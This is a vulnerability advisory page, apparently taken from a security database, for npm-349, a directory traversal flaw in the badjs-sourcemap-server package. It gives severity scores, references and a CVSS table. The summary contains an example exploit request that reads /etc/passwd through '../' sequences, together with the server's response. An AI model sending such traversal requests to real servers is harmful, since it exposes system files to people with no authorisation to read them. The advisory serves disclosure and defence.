Advisory details:
npm / npm-349
| Advisory ID | npm/npm-349 |
| Aliases | |
| Summary | Directory Traversal `badjs-sourcemap-server` recieves files sent by `badjs-sourcemap`. `badjs-sourcemap-server` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url. Example request: ``` GET /../../../../../../etc/passwd HTTP/1.1 host:localhost ``` and response: ``` HTTP/1.1 200 OK Date: Wed, 17 May 2017 22:59:49 GMT Connection: keep-alive Transfer-Encoding: chunked {content of /etc/passwd} ``` |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.8 |
| Risk | 3.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv3 | 7.5 | https://github.com/nodejs/security-wg/blob/main/vuln/npm/349.json |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/badjs-sourcemap-server) | ||
| 349 | https://github.com/nodejs/security-wg/blob/main/vuln/npm/349.json |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
There are no SSVC decisions available.